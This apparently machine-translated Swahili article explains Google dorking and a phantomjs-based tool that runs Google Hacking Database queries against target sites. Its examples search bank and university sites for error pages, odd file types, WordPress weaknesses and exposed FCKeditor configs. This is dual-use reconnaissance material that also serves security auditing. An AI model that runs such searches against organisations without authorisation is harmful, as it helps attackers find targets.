    inurl:fckeditor -intext:"ConfigIsEnabled = False" intext:ConfigIsEnabled

    Dorks mara nyingi hulenga zaidi kutafuta kwenye tovuti zote za mtandao. Lakini hakuna kinachokuzuia kuzuia wigo wa utafutaji kwenye tovuti au tovuti yoyote.
    Kila swali la Google linaweza kuangaziwa kwenye tovuti mahususi kwa kuongeza neno kuu "site:somesite.com" kwenye hoja. Neno hili kuu linaweza kuongezwa kwa dork yoyote.

    Kuendesha utafutaji wa udhaifu
    Hivi ndivyo wazo lilivyozaliwa ili kuandika matumizi rahisi ambayo huendesha utafutaji wa udhaifu kwa kutumia injini ya utafutaji (google) na inategemea Hifadhidata ya Google Hack.

    Huduma ni hati iliyoandikwa katika nodejs kwa kutumia phantomjs. Kwa usahihi, hati inatafsiriwa na phantomjs yenyewe.
    Phantomjs ni kivinjari kamili cha wavuti bila GUI, kinachodhibitiwa na msimbo wa js na API rahisi.
    Huduma hiyo ilipokea jina linaloeleweka kabisa - dorks. Kwa kuiendesha kwenye mstari wa amri (bila chaguzi), tunapata usaidizi mfupi na mifano kadhaa ya matumizi:


    Kielelezo 1 - Orodha ya chaguzi kuu za dorks

    Syntax ya jumla ya matumizi ni: dork "amri" "orodha ya chaguo".
    Ufafanuzi wa kina wa chaguzi zote umewasilishwa katika Jedwali 4.

    Jedwali la 4 - syntax ya Dorks

    Timu
    Chaguo
    Maelezo
    gdb
    -l
    Chapisha orodha yenye nambari ya kategoria za Dork Database ya Google Hack
    -c "nambari ya kitengo au jina"
    Pakia milango ya kitengo maalum kwa nambari au jina
    -q neno "maneno"
    Pakua dorks zilizopatikana kwa ombi
    -o "faili"
    Hifadhi matokeo kwa faili (tu na -c|-q chaguzi)
    google
    -d "dork"
    Weka dork ya kiholela (chaguo linaweza kutumika mara nyingi, mchanganyiko na -D chaguo inaruhusiwa)
    -D "faili"
    Tumia dorks kutoka kwa faili
    -s "tovuti"
    Weka tovuti (chaguo linaweza kutumika mara nyingi, mchanganyiko na chaguo -S inaruhusiwa)
    -S "faili"
    Tumia tovuti kutoka kwa faili (dorks zitatafutwa kwa kila tovuti kivyake)
    -f "chujio"
    Weka maneno muhimu ya ziada (yataongezwa kwa kila dork)
    -t "idadi ya ms"
    Muda kati ya maombi kwa google
    -T "idadi ya ms"
    Muda umeisha ikiwa kunasa itapatikana
    -o "faili"
    Hifadhi matokeo kwenye faili (ni nyimbo hizo tu ambazo kitu kilipatikana ndizo zitahifadhiwa)

    Kwa kutumia amri ya ghdb, unaweza kupata dorks zote kutoka exploit-db kwa ombi la kiholela, au taja kategoria nzima. Ukitaja kitengo cha 0, hifadhidata nzima itapakuliwa (takriban dorks elfu 4.5).

    Orodha ya kategoria zinazopatikana kwa sasa zimeonyeshwa kwenye Mchoro 2.

    Kielelezo 2 - Orodha ya kategoria zinazopatikana za GHDB

    Timu ya google itabadilisha kila kizimba kwenye injini ya utafutaji ya google na kuchanganua matokeo ya mechi. Njia ambapo kitu kilipatikana kitahifadhiwa kwenye faili.
    Huduma inasaidia njia tofauti za utaftaji:
    Dork 1 na tovuti 1;
    1 dork na maeneo mengi;
    1 tovuti na dorks nyingi;
    maeneo mengi na dorks nyingi;
    Orodha ya dorks na tovuti inaweza kubainishwa ama kupitia hoja au kupitia faili.

    Maonyesho ya kazi
    Hebu tujaribu kutafuta udhaifu wowote kwa kutumia mfano wa kutafuta ujumbe wa makosa. Kwa amri: dorks ghdb -c 7 -o errors.dorks dorks zote zinazojulikana za kitengo cha "Ujumbe wa Hitilafu" zitapakiwa kama inavyoonyeshwa kwenye Mchoro 3.


    Kielelezo 3 - Inapakia dorks zote zinazojulikana za kategoria ya "Ujumbe wa Hitilafu".

    Dorks hupakuliwa na kuhifadhiwa kwenye faili. Sasa kilichobaki ni "kuziweka" kwenye tovuti fulani (ona Mchoro 4).


    Kielelezo 4 - Tafuta udhaifu wa tovuti inayokuvutia kwenye akiba ya Google

    Baada ya muda, kurasa kadhaa zilizo na makosa hugunduliwa kwenye tovuti inayochunguzwa (ona Mchoro 5).


    Kielelezo 5 - Ujumbe wa hitilafu umepatikana

    Matokeo yake, katika faili ya result.txt tunapata orodha kamili ya dorks zinazosababisha kosa.
    Mchoro wa 6 unaonyesha matokeo ya kutafuta makosa ya tovuti.

    Kielelezo 6 - Matokeo ya utafutaji ya hitilafu

    Katika akiba ya doki hii, ufuatiliaji kamili unaonyeshwa, unaoonyesha njia kamili za hati, mfumo wa usimamizi wa maudhui ya tovuti na aina ya hifadhidata (ona Mchoro 7).


    Kielelezo 7 - ufichuaji wa habari kuhusu muundo wa tovuti

    Walakini, inafaa kuzingatia kuwa sio dorks zote kutoka GHDB zinazotoa matokeo ya kweli. Pia, Google inaweza isipate inayolingana kabisa na kuonyesha matokeo sawa.

    Katika kesi hii, ni busara zaidi kutumia orodha yako ya kibinafsi ya dorks. Kwa mfano, daima inafaa kutafuta faili zilizo na upanuzi "zisizo za kawaida", mifano ambayo imeonyeshwa kwenye Mchoro 8.


    Kielelezo 8 - Orodha ya viendelezi vya faili ambavyo si vya kawaida kwa rasilimali ya kawaida ya wavuti

    Kwa hivyo, kwa amri ya dorks google -D extensions.txt -f benki, kutoka kwa ombi la kwanza kabisa Google huanza kurejesha tovuti na upanuzi wa faili "zisizo za kawaida" (ona Mchoro 9).


    Kielelezo 9 - Tafuta aina za faili "mbaya" kwenye tovuti za benki

    Inafaa kukumbuka kuwa Google haikubali maswali yenye urefu wa zaidi ya maneno 32.

    Kwa kutumia amri dorks google -d intext:"error|onyo|notice|syntax" -f chuo kikuu
    Unaweza kutafuta makosa ya mkalimani wa PHP kwenye tovuti za elimu (ona Mchoro 10).


    Kielelezo 10 - Kutafuta makosa ya wakati wa kukimbia wa PHP

    Wakati mwingine si rahisi kutumia aina moja au mbili za dorks.
    Kwa mfano, ikiwa inajulikana kuwa tovuti inaendesha kwenye injini ya Wordpress, basi tunahitaji moduli maalum za WordPress. Katika hali hii, ni rahisi kutumia Google Hack Database search. Amri dorks ghdb -q wordpress -o wordpress_dorks.txt itapakua dorks zote kutoka Wordpress, kama inavyoonyeshwa kwenye Mchoro 11:


    Kielelezo 11 - Tafuta Dorks zinazohusiana na Wordpress

    Hebu turejee kwenye benki tena na tutumie amri dorks google –D wordpress_dords.txt –f bank ili kujaribu kutafuta kitu cha kuvutia kinachohusiana na Wordpress (ona Mchoro 12).


    Kielelezo 12 - Tafuta udhaifu wa Wordpress

    Inafaa kumbuka kuwa utaftaji kwenye Hifadhidata ya Hack ya Google haukubali maneno mafupi kuliko herufi 4. Kwa mfano, ikiwa CMS ya tovuti haijulikani, lakini lugha inajulikana - PHP. Katika kesi hii, unaweza kuchuja unachohitaji mwenyewe kwa kutumia bomba na mfumo wa utafutaji wa shirika dorks -c wote | findstr /I php > php_dorks.txt (ona Mchoro 13):


    Kielelezo 13 - Tafuta dorks zote ambapo PHP imetajwa

    Kutafuta udhaifu au taarifa nyeti katika mtambo wa utafutaji kunafaa kufanywa tu ikiwa kuna faharasa muhimu kwenye tovuti hii. Kwa mfano, ikiwa tovuti ina kurasa 10-15 zilizoorodheshwa, basi ni ujinga kutafuta chochote kwa njia hii. Kuangalia ukubwa wa faharasa ni rahisi - ingiza tu "site:somesite.com" kwenye upau wa utafutaji wa Google. Mfano wa tovuti yenye faharasa haitoshi umeonyeshwa kwenye Mchoro 14.


    Kielelezo 14 - Kuangalia ukubwa wa index ya tovuti

    Sasa kuhusu jambo lisilopendeza... Mara kwa mara Google inaweza kuomba captcha - hakuna unachoweza kufanya kuhusu hilo - itabidi uiweke. Kwa mfano, wakati wa kutafuta kupitia kitengo cha "Ujumbe wa Hitilafu" (90 dorks), captcha ilionekana mara moja tu.

    Inafaa kuongeza kuwa phantomjs pia inasaidia kufanya kazi kupitia proksi, kupitia kiolesura cha http na soksi. Ili kuwezesha hali ya seva mbadala, unahitaji kutengua mstari unaolingana katika dorks.bat au dorks.sh.

    Chombo kinapatikana kama msimbo wa chanzo